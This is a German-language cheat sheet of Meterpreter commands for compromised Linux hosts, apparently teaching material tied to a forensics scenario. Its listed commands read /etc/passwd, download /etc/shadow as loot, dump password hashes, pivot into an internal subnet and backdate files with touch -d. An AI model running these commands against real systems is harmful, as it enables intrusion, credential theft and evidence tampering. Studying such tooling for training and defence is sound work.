Meterpreter unter Linux

Grundsätliches

Meterpreter ist die interaktive Payload des Metasploit-Frameworks. Sie läuft im Speicher des kompromittierten Prozesses und stellt einen einheitlichen Befehlssatz zur Verfügung, unabhängig von der darunterliegenden Shell. Der Linux-Payload bietet weniger Kommandos als die Windows-Variante – alles rund um Registry, Tokens oder Timestomping fehlt.

Hinweis: Der Befehl help zeigt in der laufenden Session, welche Kommandos der konkrete Payload tatsächlich unterstützt. Ein python/meterpreter kann weniger als der native ELF-Payload.

Session-Verwaltung

Session in den Hintergrund legen, zurück zur msf-Konsole

• background

Vorhandene Sessions anzeigen

• sessions -l

Session wieder aufnehmen

• sessions -i ID

Kontextbezogene Befehlsliste anzeigen

• help

Ruby-Konsole im Kontext der Session

• irb

System und Recon

Betriebssystem, Architektur, Hostname

• sysinfo

Unter welchem Benutzer läuft die Session

• getuid

Eigene Prozess-ID

• getpid

Prozessliste

• ps

In eine normale System-Shell wechseln

• shell

Vollwertiges TTY in der Shell nachrüsten

• python3 -c 'import pty; pty.spawn("/bin/bash")'

Dateisystem

Verzeichnis anzeigen und wechseln

• pwd
• ls
• cd /var/www

Datei anzeigen

• cat /etc/passwd

Datei vom Ziel herunterladen

• download /etc/shadow /tmp/loot/shadow

Ganzes Verzeichnis rekursiv herunterladen

• download -r /var/www /tmp/loot/www

Datei auf das Ziel hochladen

• upload /tmp/tools/linpeas.sh /tmp/linpeas.sh

Dateien suchen

• search -f *.conf

Prüfsumme bilden

• checksum sha1 /usr/bin/verdaechtig

Netzwerk und Pivoting

Netzwerk-Interfaces anzeigen

• ifconfig

Aktive Verbindungen

• netstat

Routing-Tabelle

• route

Lokales Port-Forwarding einrichten

• portfwd add -l 3389 -p 3389 -r 10.254.31.50

Route über die Session für weitere Module setzen

• run autoroute -s 10.254.31.0/24

Post-Module

Post-Module sind keine Meterpreter-Builtins, sondern werden mit run aus der Session heraus gestartet.

Passende lokale Privilege-Escalation-Exploits vorschlagen

• run post/multi/recon/local_exploit_suggester

Systemübersicht sammeln

• run post/linux/gather/enum_system

Konfigurationsdateien einsammeln

• run post/linux/gather/enum_configs

Passwort-Hashes auslesen (nur als root)

• run post/linux/gather/hashdump

Nicht verfügbar unter Linux

• timestomp – nur Windows. Anti-Forensik unter Linux läuft über

 touch -d, nicht über Meterpreter.

• Registry-, Token- und Kiwi/Mimikatz-Kommandos entfallen mangels Windows-Basis.

Bezug zum Angriffsszenario

Der local_exploit_suggester schlägt bei einem ungepatchten System mit verwundbarem pkexec direkt CVE-2019-13272 vor – denselben Weg, über den im Forensik-Szenario das Binary ptrace_traceme_root ins Root-Home gelangt ist. Damit schließt sich der Kreis von der Angreifer- zur Verteidiger-Perspektive.